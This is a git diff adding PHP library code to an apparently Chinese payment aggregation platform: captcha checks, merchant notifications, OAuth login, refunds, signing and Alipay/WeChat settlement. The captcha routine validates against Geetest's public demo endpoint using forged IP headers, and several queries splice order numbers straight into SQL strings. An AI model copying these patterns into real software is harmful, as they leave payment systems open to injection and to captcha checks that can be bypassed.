global $clientip; + $url = 'http://gt4.geetest.com/demov4/demo/login'; + $param = [ + 'captcha_id' => $captcha_id, + 'lot_number' => $lot_number, + 'pass_token' => $pass_token, + 'gen_time' => $gen_time, + 'captcha_output' => $captcha_output + ]; + $referer = 'http://gt4.geetest.com/demov4/invisible-bind-zh.html'; + $httpheader[] = "X-Real-IP: ".$clientip; + $httpheader[] = "X-Forwarded-For: ".$clientip; + $data = get_curl($url.'?'.http_build_query($param),0,$referer,0,0,0,0,$httpheader); + $arr = json_decode($data, true); + if(isset($arr['result']) && $arr['result'] == 'success'){ + return true; + } + return false; + } +} \ No newline at end of file diff --git a/includes/lib/MsgNotice.php b/includes/lib/MsgNotice.php new file mode 100644 index 0000000..710d4f6 --- /dev/null +++ b/includes/lib/MsgNotice.php @@ -0,0 +1,172 @@ +find('user', 'phone,email,wx_uid,msgconfig', ['uid'=>$uid]); + $userrow['msgconfig'] = unserialize($userrow['msgconfig']); + if($scene == 'order' && $userrow['msgconfig']['order_money']>0 && $param['money']<$userrow['msgconfig']['order_money']) return false; + if($scene == 'balance') $param['msgmoney'] = $userrow['msgconfig']['balance_money']; + if($userrow['msgconfig'][$scene] == 1 && !empty($userrow['wx_uid'])){ + return self::send_wechat_tplmsg($scene, $userrow['wx_uid'], $param); + }elseif($userrow['msgconfig'][$scene] == 2 && !empty($userrow['email']) && self::getMessageSwitch($scene) == 1){ + return self::send_mail_msg($scene, $userrow['email'], $param); + }elseif($userrow['msgconfig'][$scene] == 3 && !empty($userrow['phone'])){ + if($scene == 'balance'){ + $tpl_code = $conf['sms_tpl_balance']; + $tpl_param = ['code'=>$param['msgmoney']]; + }elseif($scene == 'complain'){ + $tpl_code = $conf['sms_tpl_complain']; + $tpl_param = ['code'=>$param['trade_no']]; + } + if(!empty($tpl_code)){ + return send_sms_common($userrow['phone'], $tpl_code, $tpl_param); + } + } + + if(in_array($scene, $scene_all)){ + $switch = self::getMessageSwitch($scene.'_all'); + if($switch == 1){ + $receiver = $conf['mail_recv']?$conf['mail_recv']:$conf['mail_name']; + return self::send_mail_msg($scene, $receiver, $param); + } + } + } + return false; + } + + public static function send_wechat_tplmsg($scene, $openid, $param){ + global $conf, $siteurl, $CACHE; + $wid = $conf['login_wx']; + if($scene == 'order'){ + $template_id = $conf['wxnotice_tpl_order']; + if(strlen($param['out_trade_no']) > 32) $param['out_trade_no'] = substr($param['out_trade_no'], 0, 32); + if(mb_strlen($param['name']) > 20) $param['name'] = mb_substr($param['name'], 0, 20); + $data = []; + if($conf['wxnotice_tpl_order_no']) $data[$conf['wxnotice_tpl_order_no']] = ['value'=>$param['trade_no']]; + if($conf['wxnotice_tpl_order_name']) $data[$conf['wxnotice_tpl_order_name']] = ['value'=>$param['name']]; + if($conf['wxnotice_tpl_order_money']) $data[$conf['wxnotice_tpl_order_money']] = ['value'=>'¥'.$param['money']]; + if($conf['wxnotice_tpl_order_time']) $data[$conf['wxnotice_tpl_order_time']] = ['value'=>$param['time']]; + if($conf['wxnotice_tpl_order_outno']) $data[$conf['wxnotice_tpl_order_outno']] = ['value'=>$param['out_trade_no']]; + $jumpurl = $siteurl.'user/order.php'; + }elseif($scene == 'settle'){ + $template_id = $conf['wxnotice_tpl_settle']; + $data = []; + if($conf['wxnotice_tpl_settle_type']) $data[$conf['wxnotice_tpl_settle_type']] = ['value'=>'结算成功']; + if($conf['wxnotice_tpl_settle_account']) $data[$conf['wxnotice_tpl_settle_account']] = ['value'=>$param['account']]; + if($conf['wxnotice_tpl_settle_money']) $data[$conf['wxnotice_tpl_settle_money']] = ['value'=>'¥'.$param['money']]; + if($conf['wxnotice_tpl_settle_realmoney']) $data[$conf['wxnotice_tpl_settle_realmoney']] = ['value'=>'¥'.$param['realmoney']]; + if($conf['wxnotice_tpl_settle_time']) $data[$conf['wxnotice_tpl_settle_time']] = ['value'=>$param['time']]; + $jumpurl = isset($param['jumpurl']) ? $param['jumpurl'] : $siteurl.'user/settle.php'; + }elseif($scene == 'login'){ + $template_id = $conf['wxnotice_tpl_login']; + $data = []; + if($conf['wxnotice_tpl_login_user']) $data[$conf['wxnotice_tpl_login_user']] = ['value'=>$param['user']]; + if($conf['wxnotice_tpl_login_time']) $data[$conf['wxnotice_tpl_login_time']] = ['value'=>$param['time']]; + if($conf['wxnotice_tpl_login_name']) $data[$conf['wxnotice_tpl_login_name']] = ['value'=>$conf['sitename']]; + if($conf['wxnotice_tpl_login_ip']) $data[$conf['wxnotice_tpl_login_ip']] = ['value'=>$param['clientip']]; + if($conf['wxnotice_tpl_login_iploc']) $data[$conf['wxnotice_tpl_login_iploc']] = ['value'=>$param['ipinfo']]; + $jumpurl = $siteurl.'user/'; + }elseif($scene == 'complain'){ + $template_id = $conf['wxnotice_tpl_complain']; + $data = []; + if(mb_strlen($param['name']) > 20) $param['name'] = mb_substr($param['name'], 0, 20); + if(mb_strlen($param['reason']) > 20) $param['reason'] = mb_substr($param['reason'], 0, 20); + if($conf['wxnotice_tpl_complain_order_no']) $data[$conf['wxnotice_tpl_complain_order_no']] = ['value'=>$param['trade_no']]; + if($conf['wxnotice_tpl_complain_time']) $data[$conf['wxnotice_tpl_complain_time']] = ['value'=>$param['time']]; + if($conf['wxnotice_tpl_complain_reason']) $data[$conf['wxnotice_tpl_complain_reason']] = ['value'=>$param['content']]; + if($conf['wxnotice_tpl_complain_type']) $data[$conf['wxnotice_tpl_complain_type']] = ['value'=>$param['type']]; + if($conf['wxnotice_tpl_complain_name']) $data[$conf['wxnotice_tpl_complain_name']] = ['value'=>$param['name']]; + $jumpurl = $siteurl.'user/'; + }elseif($scene == 'balance'){ + $template_id = $conf['wxnotice_tpl_balance']; + $data = []; + if($conf['wxnotice_tpl_balance_user']) $data[$conf['wxnotice_tpl_balance_user']] = ['value'=>$param['user']]; + if($conf['wxnotice_tpl_balance_time']) $data[$conf['wxnotice_tpl_balance_time']] = ['value'=>$param['time']]; + if($conf['wxnotice_tpl_balance_money']) $data[$conf['wxnotice_tpl_balance_money']] = ['value'=>$param['money']]; + if($conf['wxnotice_tpl_balance_msg']) $data[$conf['wxnotice_tpl_balance_msg']] = ['value'=>'为避免造成订单失败,请及时充值']; + $jumpurl = $siteurl.'user/'; + } + if(empty($template_id) || empty($wid)) return false; + + $wechat = new \lib\wechat\WechatAPI($wid); + try{ + return $wechat->sendTemplateMessage($openid, $template_id, $jumpurl, $data); + }catch(Exception $e){ + $errmsg = $e->getMessage(); + $CACHE->save('wxtplerrmsg', ['errmsg'=>$errmsg, 'time'=>date('Y-m-d H:i:s')], 86400); + //echo $errmsg; + return false; + } + } + + private static function send_mail_msg($scene, $receiver, $param){ + global $conf, $CACHE; + [$title, $content] = self::get_msg_tpl($scene, $param); + if(empty($content)) return; + $result = send_mail($receiver, $title, $content); + if($result === true) return true; + + if(!empty($result)){ + $CACHE->save('mailerrmsg', ['errmsg'=>$result, 'time'=>date('Y-m-d H:i:s')], 86400); + } + return false; + } + + private static function get_msg_tpl($scene, $param){ + global $conf; + if($scene == 'regaudit'){ + $title = '新注册商户待审核提醒'; + $content = '尊敬的'.$conf['sitename'].'管理员,网站有新注册的商户待审核,请及时前往用户列表审核处理。
    商户ID:'.$param['uid'].'
    注册账号:'.$param['account'].'
    注册时间:'.date('Y-m-d H:i:s'); + }elseif($scene == 'apply'){ + $title = '新的提现待处理提醒'; + $content = '尊敬的'.$conf['sitename'].'管理员,商户'.$param['uid'].'发起了手动提现申请,请及时处理。
    商户ID:'.$param['uid'].'
    提现方式:'.$param['type'].'
    提现金额:'.$param['realmoney'].'
    提交时间:'.date('Y-m-d H:i:s'); + }elseif($scene == 'domain'){ + $title = '新的授权支付域名待审核提醒'; + $content = '尊敬的'.$conf['sitename'].'管理员,商户'.$param['uid'].'提交了新的授权支付域名,请及时审核处理。
    商户ID:'.$param['uid'].'
    授权域名:'.$param['domain'].'
    提交时间:'.date('Y-m-d H:i:s'); + }elseif($scene == 'order'){ + $title = '新订单通知 - '.$conf['sitename']; + $content = '尊敬的商户,您有一条新订单通知。
    商品名称:'.$param['name'].'
    订单金额:¥'.$param['money'].'
    支付方式:'.$param['type'].'
    商户订单号:'.$param['out_trade_no'].'
    系统订单号:'.$param['trade_no'].'
    支付完成时间:'.$param['time']; + }elseif($scene == 'settle'){ + $title = '结算完成通知 - '.$conf['sitename']; + $content = '尊敬的商户,今日结算已完成,请查收。
    结算金额:¥'.$param['money'].'
    实际到账:¥'.$param['realmoney'].'
    结算账号:'.$param['account'].'
    结算完成时间:'.$param['time']; + }elseif($scene == 'login'){ + $title = '账号登录通知 - '.$conf['sitename']; + $content = '尊敬的商户,您的账号'.$param['user'].'已于'.$param['time'].'成功登录到商户平台。
    登录IP:'.$param['clientip'].'
    登录时间:'.$param['time']; + }elseif($scene == 'complain'){ + $title = '支付交易投诉通知 - '.$conf['sitename']; + $content = '尊敬的商户,'.$param['type'].'!
    系统订单号:'.$param['trade_no'].'
    投诉原因:'.$param['title'].'
    投诉详情:'.$param['content'].'
    商品名称:'.$param['ordername'].'
    订单金额:¥'.$param['money'].'
    投诉时间:'.$param['time']; + }elseif($scene == 'mchrisk'){ + $title = '渠道商户违规处置通知 - '.$conf['sitename']; + $content = '尊敬的商户,您有新的渠道商户违规处置记录!
    渠道子商户号:'.$param['mchid'].'
    商户名称:'.$param['mchname'].'
    风险类型:'.$param['risk_desc'].'
    处罚方案:'.$param['punish_type'].'('.$param['punish_desc'].')
    记录时间:'.$param['punish_time']; + }elseif($scene == 'balance'){ + $title = '商户余额不足提醒 - '.$conf['sitename']; + $content = '尊敬的商户,您的手续费余额不足'.$param['msgmoney'].'元,为避免造成订单失败请及时充值。
    当前余额:'.$param['money'].'元'; + } + return [$title, $content]; + } + + private static function getMessageSwitch($scene){ + global $conf; + if(isset($conf['msgconfig_'.$scene])){ + return $conf['msgconfig_'.$scene]; + } + return false; + } +} \ No newline at end of file diff --git a/includes/lib/Oauth.php b/includes/lib/Oauth.php new file mode 100644 index 0000000..45e6bef --- /dev/null +++ b/includes/lib/Oauth.php @@ -0,0 +1,78 @@ +apiurl = $config['apiurl'].'connect.php'; + $this->appid = $config['appid']; + $this->appkey = $config['appkey']; + $this->callback = $config['callback']; + } + + //获取登录跳转url + public function login($type){ + + //-------生成唯一随机串防CSRF攻击 + $state = md5(uniqid(rand(), TRUE)); + $_SESSION['Oauth_state'] = $state; + + //-------构造请求参数列表 + $keysArr = array( + "act" => "login", + "appid" => $this->appid, + "appkey" => $this->appkey, + "type" => $type, + "redirect_uri" => $this->callback, + "state" => $state + ); + $login_url = $this->apiurl.'?'.http_build_query($keysArr); + $response = get_curl($login_url); + $arr = json_decode($response,true); + return $arr; + } + + //登录成功返回网站 + public function callback(){ + //-------请求参数列表 + $keysArr = array( + "act" => "callback", + "appid" => $this->appid, + "appkey" => $this->appkey, + "code" => $_GET['code'] + ); + + //------构造请求access_token的url + $token_url = $this->apiurl.'?'.http_build_query($keysArr); + $response = get_curl($token_url); + + $arr = json_decode($response,true); + return $arr; + } + + //查询用户信息 + public function query($type, $social_uid){ + //-------请求参数列表 + $keysArr = array( + "act" => "query", + "appid" => $this->appid, + "appkey" => $this->appkey, + "type" => $type, + "social_uid" => $social_uid + ); + + //------构造请求access_token的url + $token_url = $this->apiurl.'?'.http_build_query($keysArr); + $response = get_curl($token_url); + + $arr = json_decode($response,true); + return $arr; + } +} diff --git a/includes/lib/Order.php b/includes/lib/Order.php new file mode 100644 index 0000000..230e93e --- /dev/null +++ b/includes/lib/Order.php @@ -0,0 +1,128 @@ +find('order', 'uid,getmoney,status,channel', ['trade_no'=>$trade_no]); + if(!$row) + return ['code'=>-1, 'msg'=>'当前订单不存在!']; + if($row['status']!=1) + return ['code'=>-1, 'msg'=>'只支持冻结已支付状态的订单']; + $channel = \lib\Channel::get($row['channel']); + if($channel['mode']==1) + return ['code'=>-1, 'msg'=>'当前支付通道为商户直清,不支持冻结']; + if($row['getmoney']>0){ + changeUserMoney($row['uid'], $row['getmoney'], false, '订单冻结', $trade_no); + $DB->exec("update pre_order set status='3' where trade_no='$trade_no'"); + } + return ['code'=>0, 'msg'=>'已成功从UID:'.$row['uid'].'冻结'.$row['getmoney'].'元余额']; + } + + public static function unfreeze($trade_no){ + global $DB; + $row = $DB->find('order', 'uid,getmoney,status,channel', ['trade_no'=>$trade_no]); + if(!$row) + return ['code'=>-1, 'msg'=>'当前订单不存在!']; + if($row['status']!=3) + return ['code'=>-1, 'msg'=>'只支持解冻已冻结状态的订单']; + $channel = \lib\Channel::get($row['channel']); + if($channel['mode']==1) + return ['code'=>-1, 'msg'=>'当前支付通道为商户直清,不支持冻结']; + if($row['getmoney']>0){ + changeUserMoney($row['uid'], $row['getmoney'], true, '订单解冻', $trade_no); + $DB->exec("update pre_order set status='1' where trade_no='$trade_no'"); + } + return ['code'=>0, 'msg'=>'已成功为UID:'.$row['uid'].'恢复'.$row['getmoney'].'元余额']; + } + + public static function refund_info($trade_no, $api = 0, $uid = 0){ + global $DB; + $where = ['trade_no'=>$trade_no]; + if($uid > 0) $where['uid'] = $uid; + $order = $DB->find('order', '*', $where); + if(!$order) + return ['code'=>-1, 'msg'=>'当前订单不存在!']; + if(!in_array($order['status'], [1,2,3])) + return ['code'=>-1, 'msg'=>'该订单状态不支持退款!']; + if($order['status'] == 2 && empty($order['refundmoney'])) return ['code'=>-1, 'msg'=>'该订单已退款!']; + if($order['refundmoney'] > 0 && $order['refundmoney'] >= $order['realmoney']) return ['code'=>-1, 'msg'=>'该订单已全额退款!']; + $money = !empty($order['refundmoney']) ? round($order['realmoney'] - $order['refundmoney'], 2) : $order['realmoney']; + + if($api==1){ + if(!$order['api_trade_no']) return ['code'=>-1, 'msg'=>'接口订单号不存在']; + $channel = \lib\Channel::get($order['channel']); + if(!$channel) return ['code'=>-1, 'msg'=>'当前支付通道信息不存在']; + if(\lib\Plugin::isrefund($channel['plugin'])==false){ + return ['code'=>-1, 'msg'=>'当前支付通道不支持API退款']; + } + } + + return ['code'=>0, 'money'=>$money]; + } + + public static function refund($refund_no, $trade_no, $money, $api = 0, $uid = 0, $out_refund_no = null){ + global $DB, $order, $conf; + + $where = ['trade_no'=>$trade_no]; + if($uid > 0) $where['uid'] = $uid; + $order = $DB->find('order', '*', $where); + if(!$order) + return ['code'=>-1, 'msg'=>'当前订单不存在!']; + if(!in_array($order['status'], [1,2,3])) + return ['code'=>-1, 'msg'=>'该订单状态不支持退款!']; + if($money>$order['realmoney']) return ['code'=>-1, 'msg'=>'退款金额不能大于订单金额']; + if(!$order['api_trade_no']) return ['code'=>-1, 'msg'=>'接口订单号不存在']; + if($order['status'] == 2 && empty($order['refundmoney'])) return ['code'=>-1, 'msg'=>'该订单已退款!']; + if($order['refundmoney'] > 0 && $order['refundmoney'] >= $order['realmoney']) return ['code'=>-1, 'msg'=>'该订单已全额退款!']; + if($order['refundmoney'] > 0 && $money > round($order['realmoney'] - $order['refundmoney'], 2)) return ['code'=>-1, 'msg'=>'退款金额不能超过该订单剩余可退款金额!']; + $refunded = $order['refundmoney']; + + if(!$out_refund_no) $out_refund_no = $refund_no; + + $mode = $DB->findColumn('channel', 'mode', ['id'=>$order['channel']]); + if($order['status'] == 3 || $mode == 1){ + $reducemoney = 0; + }elseif($conf['refund_fee_type']==1 && $money == $order['realmoney']){ + $reducemoney = $order['realmoney']; + }elseif(!$conf['refund_fee_type'] && ($money == $order['realmoney'] || $money >= $order['getmoney'])){ + $reducemoney = $order['getmoney']; + }else{ + $reducemoney = $money; + } + + if($uid > 0 && $reducemoney > 0){ + $usermoney = $DB->findColumn('user', 'money', ['uid'=>$uid]); + if($reducemoney > $usermoney){ + return ['code'=>-1, 'msg'=>'商户余额不足,请先充值']; + } + } + + if($api == 1){ + $message = null; + if(!\lib\Plugin::refund($refund_no, $trade_no, $money, $message)){ + return ['code'=>-1, 'msg'=>'退款失败:'.$message]; + } + } + if($reducemoney > 0){ + if($order['tid'] == 2){ + $param = json_decode($order['param'], true); + if(isset($param['uid'])){ + $order['uid'] = $param['uid']; + } + } + changeUserMoney($order['uid'], $reducemoney, false, '订单退款', $trade_no); + } + + if($api == 1){ + $refundmoney = !empty($refunded) ? round($refunded + $money, 2) : $money; + $DB->update('order', ['status'=>2, 'refundmoney'=>$refundmoney], ['trade_no'=>$trade_no]); + $DB->insert('refundorder', ['refund_no'=>$refund_no, 'out_refund_no'=>$out_refund_no, 'trade_no'=>$trade_no, 'uid'=>$order['uid'], 'money'=>$money, 'reducemoney'=>$reducemoney, 'addtime'=>date('Y-m-d H:i:s'), 'endtime'=>date('Y-m-d H:i:s'), 'status'=>1]); + }else{ + $DB->update('order', ['status'=>2], ['trade_no'=>$trade_no]); + } + + return ['code'=>0, 'refund_no'=>$refund_no, 'out_refund_no'=>$out_refund_no, 'trade_no'=>$trade_no, 'out_trade_no'=>$order['out_trade_no'], 'uid'=>$order['uid'], 'money'=>$money, 'reducemoney'=>$reducemoney]; + } +} \ No newline at end of file diff --git a/includes/lib/Payment.php b/includes/lib/Payment.php new file mode 100644 index 0000000..5d5ff76 --- /dev/null +++ b/includes/lib/Payment.php @@ -0,0 +1,552 @@ + $v) { + if(is_array($v) || isEmpty($v) || $k == 'sign' || $k == 'sign_type') continue; + $signStr .= $k . '=' . $v . '&'; + } + $signStr = substr($signStr, 0, -1); + return $signStr; + } + + //生成签名 + static public function makeSign($data, $md5key) { + $sign_type = $data['sign_type'] ? $data['sign_type'] : 'MD5'; + $signStr = self::getSignContent($data); + if($sign_type == 'RSA'){ + global $conf; + $private_key = base64ToPem($conf['private_key'], 'PRIVATE KEY'); + $pkey = openssl_pkey_get_private($private_key); + if(!$pkey) return false; + openssl_sign($signStr, $sign, $pkey, OPENSSL_ALGO_SHA256); + return base64_encode($sign); + }else{ + $sign = md5($signStr . $md5key); + return $sign; + } + } + + //验证签名 + static public function verifySign($data, $md5key, $publicKey) { + if(!isset($data['sign'])) throw new Exception('缺少签名参数'); + $sign_type = $data['sign_type'] ? $data['sign_type'] : 'MD5'; + if($sign_type == 'RSA'){ + $public_key = base64ToPem($publicKey, 'PUBLIC KEY'); + $pkey = openssl_pkey_get_public($public_key); + if(!$pkey) throw new Exception('签名校验失败,商户公钥错误'); + $signStr = self::getSignContent($data); + $result = openssl_verify($signStr, base64_decode($data['sign']), $pkey, OPENSSL_ALGO_SHA256); + return $result === 1; + }else{ + $sign = self::makeSign($data, $md5key); + return $sign === $data['sign']; + } + } + + // 页面支付返回信息 + static public function echoDefault($result){ + global $cdnpublic,$order,$conf,$sitename,$ordername,$siteurl; + $type = $result['type']; + if(!$type) return false; + switch($type){ + case 'jump': //跳转 + $html_text = ''; + if(isset($result['submit']) && $result['submit']){ + submitTemplate($html_text); + }else{ + echo $html_text; + } + break; + case 'html': //显示html + $html_text = $result['data']; + if(isset($result['submit']) && $result['submit'] && substr($html_text, 0, 6) == '
    0, 'trade_no'=>TRADE_NO]; + switch($type){ + case 'jump': //跳转URL + $json['pay_type'] = 'jump'; + $json['pay_info'] = $result['url']; + break; + case 'html': //显示html跳转 + $json['pay_type'] = 'html'; + $json['pay_info'] = $result['data']; + break; + case 'qrcode': //扫码支付 + $json['pay_type'] = 'qrcode'; + $json['pay_info'] = $result['url']; + break; + case 'scheme': //小程序H5跳转 + $json['pay_type'] = 'urlscheme'; + $json['pay_info'] = $result['url']; + break; + case 'jsapi': //JSAPI支付 + $json['pay_type'] = 'jsapi'; + $json['pay_info'] = $result['data']; + break; + case 'app': //APP支付 + $json['pay_type'] = 'app'; + $json['pay_info'] = $result['data']; + break; + case 'scan': //付款码支付 + $json['pay_type'] = 'scan'; + $json['pay_info'] = $result['data']; + break; + case 'wxplugin': //微信小程序插件支付 + $json['pay_type'] = 'wxplugin'; + $json['pay_info'] = $result['data']; + break; + case 'wxapp': //跳转微信小程序支付 + $json['pay_type'] = 'wxapp'; + $json['pay_info'] = $result['data']; + break; + case 'error': + $json['code'] = -2; + $json['msg'] = $result['msg']; + break; + default: + $json['pay_type'] = 'jump'; + $json['pay_info'] = $siteurl.'pay/submit/'.TRADE_NO.'/'; + break; + } + if($json['code'] == 0){ + if(is_array($json['pay_info'])) $json['pay_info'] = json_encode($json['pay_info']); + $json['timestamp'] = time().''; + $json['sign_type'] = 'RSA'; + $json['sign'] = self::makeSign($json, null); + } + exit(json_encode($json)); + }else{ + $json = ['code'=>1, 'trade_no'=>TRADE_NO]; + switch($type){ + case 'jump': //跳转URL + $json['payurl'] = $result['url']; + break; + case 'html': //显示html跳转 + $json['html'] = $result['data']; + break; + case 'qrcode': //扫码支付 + $json['qrcode'] = $result['url']; + break; + case 'scheme': //小程序H5跳转 + $json['urlscheme'] = $result['url']; + break; + case 'error': + $json['code'] = -2; + $json['msg'] = $result['msg']; + break; + default: + $json['payurl'] = $siteurl.'pay/submit/'.TRADE_NO.'/'; + break; + } + exit(json_encode($json)); + } + } + + // 订单回调处理 + static public function processOrder($isnotify, $order, $api_trade_no, $buyer = null, $bill_trade_no = null){ + global $DB,$conf,$siteurl; + if($order['status']==0 || $order['status']==4){ + if($DB->exec("UPDATE `pre_order` SET `status`=1 WHERE `trade_no`='".$order['trade_no']."'")){ + + $data = ['endtime'=>'NOW()', 'date'=>'CURDATE()']; + if(!empty($api_trade_no)) $data['api_trade_no'] = $api_trade_no; + if(!empty($buyer)) $data['buyer'] = $buyer; + if(!empty($bill_trade_no)) $data['bill_trade_no'] = $bill_trade_no; + if($order['settle']>0) $data['settle'] = $order['settle']; + $DB->update('order', $data, ['trade_no'=>$order['trade_no']]); + $order['api_trade_no'] = $api_trade_no; + + processOrder($order, $isnotify); + } + }elseif(empty($order['api_trade_no']) && !empty($api_trade_no)){ + $data = ['api_trade_no'=>$api_trade_no]; + if(!empty($buyer)) $data['buyer'] = $buyer; + if(!empty($bill_trade_no)) $data['bill_trade_no'] = $bill_trade_no; + $DB->update('order', $data, ['trade_no'=>$order['trade_no']]); + }elseif(empty($order['buyer']) && !empty($buyer)){ + $data['buyer'] = $buyer; + $DB->update('order', $data, ['trade_no'=>$order['trade_no']]); + } + if($isnotify && $order['settle']>0){ + $DB->update('order', ['settle'=>$order['settle']], ['trade_no'=>$order['trade_no']]); + } + if(!$isnotify){ + include_once SYSTEM_ROOT.'txprotect.php'; + if($order['status'] == 2){ + $jumpurl = '/payerr.html'; + returnTemplate($jumpurl); + return; + } + // 支付完成5分钟后禁止跳转回网站 + if(!empty($order['endtime']) && time() - strtotime($order['endtime']) > 300){ + $jumpurl = '/payok.html'; + }else{ + $url=creat_callback($order); + $jumpurl = $url['return']; + } + returnTemplate($jumpurl); + } + } + + // 更新订单信息 + static public function updateOrder($trade_no, $api_trade_no, $buyer = null, $status = null){ + global $DB; + $data = ['api_trade_no'=>$api_trade_no]; + if(!empty($buyer)) $data['buyer'] = $buyer; + if($status) $data['status'] = $status; + $DB->update('order', $data, ['trade_no'=>$trade_no]); + } + + // 更新订单扩展信息 + static public function updateOrderExt($trade_no, $data){ + global $DB; + $DB->update('order', ['ext'=>serialize($data)], ['trade_no'=>$trade_no]); + } + + // 更新合单状态 + static public function updateOrderCombine($trade_no, $sub_orders = null){ + global $DB; + $DB->update('order', ['combine'=>1], ['trade_no'=>$trade_no]); + if(!empty($sub_orders)){ + $DB->delete('suborder', ['trade_no'=>$trade_no]); + foreach($sub_orders as $data){ + $data['trade_no'] = $trade_no; + $data['status'] = 0; + $DB->insert('suborder', $data); + } + } + } + + // 更新订单分账接收人 + static public function updateOrderProfits($order, $plugin){ + global $DB; + $support_plugins = \lib\ProfitSharing\CommUtil::$plugins; + if(in_array($plugin, $support_plugins)){ + $psreceiver = null; + if($order['subchannel'] > 0){ + $psreceiver = $DB->getRow("SELECT * FROM `pre_psreceiver` WHERE `channel`='{$order['channel']}' AND `uid`='{$order['uid']}' AND `subchannel`='{$order['subchannel']}' AND `status`=1 ORDER BY id ASC LIMIT 1"); + } + if(!$psreceiver) $psreceiver = $DB->getRow("SELECT * FROM `pre_psreceiver` WHERE `channel`='{$order['channel']}' AND `uid`='{$order['uid']}' AND `status`=1 ORDER BY id ASC LIMIT 1"); + if(!$psreceiver) $psreceiver = $DB->getRow("SELECT * FROM `pre_psreceiver` WHERE `channel`='{$order['channel']}' AND `uid` IS NULL AND `status`=1 ORDER BY id ASC LIMIT 1"); + if($psreceiver){ + if(!$psreceiver['minmoney'] || $order['realmoney']>=$psreceiver['minmoney']){ + $DB->update('order', ['profits'=>$psreceiver['id']], ['trade_no'=>$order['trade_no']]); + return intval($psreceiver['id']); + } + } + } + return 0; + } + + // 更新订单分账接收人2 + static public function updateOrderProfits2($order, $plugin){ + return 0; + } + + //支付宝直付通确认结算 + public static function alipaydSettle($channel, $order){ + $alipay_config = require(PLUGIN_ROOT.'alipayd/inc/config.php'); + $alipaySevice = new \Alipay\AlipayTradeService($alipay_config); + if($order['combine'] == 1){ + $sub_orders = self::getSubOrders($order['trade_no']); + if(empty($sub_orders)) throw new Exception('子订单数据不存在'); + $failnum = 0; + $errmsg = ''; + foreach($sub_orders as $sub_order){ + if($sub_order['settle'] == 0){ + $settle = 0; + try{ + $alipaySevice->settle_confirm($sub_order['api_trade_no'], $sub_order['money']); + $settle = 1; + }catch(Exception $e){ + if(strpos($e->getMessage(), 'ALREADY_CONFIRM_SETTLE')!==false){ + $settle = 1; + }else{ + $failnum++; + $errmsg .= $e->getMessage().','; + } + } + if($settle == 1) self::updateSubOrderSettle($sub_order['sub_trade_no'], 1); + } + } + if($failnum > 0) throw new Exception('部分子单结算失败,失败数量:'.$failnum.',失败原因:'.$errmsg); + return true; + } + try{ + $alipaySevice->settle_confirm($order['api_trade_no'], $order['realmoney']); + return true; + }catch(Exception $e){ + if(strpos($e->getMessage(), 'ALREADY_CONFIRM_SETTLE')!==false){ + return true; + }else{ + throw $e; + } + } + } + + //微信收付通确认结算 + public static function wxpaynpSettle($channel, $order){ + $wechatpay_config = require(PLUGIN_ROOT.'/wxpaynp/inc/config.php'); + if($wechatpay_config['ecommerce']){ + if(!$order['profits']){ + $client = new \WeChatPay\V3\ProfitsharingService($wechatpay_config); + return $client->unfreeze($order['trade_no'], $order['api_trade_no']); + }else{ + throw new Exception('当前订单需要分账,请进入分账订单页面确认分账'); + } + }else{ + throw new Exception('非电商收付通订单'); + } + } + + //支付宝预授权资金支付 + public static function alipayPreAuthPay($channel, $order){ + global $conf; + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + $alipaySevice = new \Alipay\AlipayTradeService($alipay_config); + $trade_no = $order['trade_no']; + $bizContent = [ + 'out_order_no' => $trade_no, + 'out_request_no' => $trade_no, + ]; + $result = $alipaySevice->preAuthQuery($bizContent); + //print_r($result);exit; + if(!isset($result['auth_no'])) throw new Exception('预授权订单查询失败'); + if($result['rest_amount'] == 0) throw new Exception('剩余冻结金额为0'); + if($result['order_status'] == 'AUTHORIZED'){ + $auth_no = $result['auth_no']; + $ordername = !empty($conf['ordername'])?ordername_replace($conf['ordername'],$order['name'],$order['uid'],$trade_no):$order['name']; + $bizContent = [ + 'out_trade_no' => $trade_no, + 'total_amount' => $result['rest_amount'], + 'subject' => $ordername, + 'product_code' => 'PREAUTH_PAY', + 'auth_no' => $auth_no, + 'auth_confirm_mode' => 'COMPLETE' + ]; + return $alipaySevice->scanPay($bizContent); + }else{ + throw new Exception('该笔订单非已授权状态,无需支付'); + } + } + + //支付宝预授权资金解冻 + public static function alipayUnfreeze($channel, $order){ + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + $alipaySevice = new \Alipay\AlipayTradeService($alipay_config); + $trade_no = $order['trade_no']; + $bizContent = [ + 'out_order_no' => $trade_no, + 'out_request_no' => $trade_no, + ]; + $result = $alipaySevice->preAuthQuery($bizContent); + //print_r($result);exit; + if(!isset($result['auth_no'])) throw new Exception('预授权订单查询失败'); + if($result['rest_amount'] == 0) throw new Exception('剩余冻结金额为0'); + if($result['order_status'] == 'AUTHORIZED'){ + $auth_no = $result['auth_no']; + $bizContent = [ + 'auth_no' => $auth_no, + 'out_request_no' => date("YmdHis").rand(11111,99999), + 'amount' => $result['rest_amount'], + 'remark' => '解冻资金' + ]; + return $alipaySevice->preAuthUnfreeze($bizContent); + }else{ + throw new Exception('该笔订单非已授权状态,无需解冻'); + } + } + + //支付宝红包转账 + public static function alipayRedPacketTransfer($channel, $payee_user_id, $money, $order_id){ + $out_biz_no = date("YmdHis").rand(11111,99999); + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + $alipaySevice = new \Alipay\AlipayTransferService($alipay_config); + $alipaySevice->redPacketTansfer($out_biz_no, $money, $payee_user_id, $conf['sitename'], $order_id); + } + + //支付宝红包资金退回 + public static function alipayRedPacketRefund($channel, $trade_no, $money){ + $out_biz_no = date("YmdHis").rand(11111,99999); + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + $alipaySevice = new \Alipay\AlipayTransferService($alipay_config); + $alipaySevice->redPacketRefund($out_biz_no, $trade_no, $money); + } + + //加锁设置订单扩展数据 + public static function lockPayData($trade_no, $func){ + global $DB; + $DB->beginTransaction(); + $data = $DB->getColumn("SELECT ext FROM pre_order WHERE trade_no=:trade_no FOR UPDATE", [':trade_no'=>$trade_no]); + if($data) { + $DB->rollBack(); + return unserialize($data); + } + try{ + $data = $func(); + }catch(\Exception $e){ + $DB->rollBack(); + throw $e; + } + if($data){ + $DB->update('order', ['ext'=>serialize($data)], ['trade_no' => $trade_no]); + } + $DB->commit(); + return $data; + } + + //获取微信客服跳转链接 + public static function getWxkfPayUrl($pay_url){ + global $order, $DB, $conf; + + $cookiesid = $_COOKIE['mysid']; + 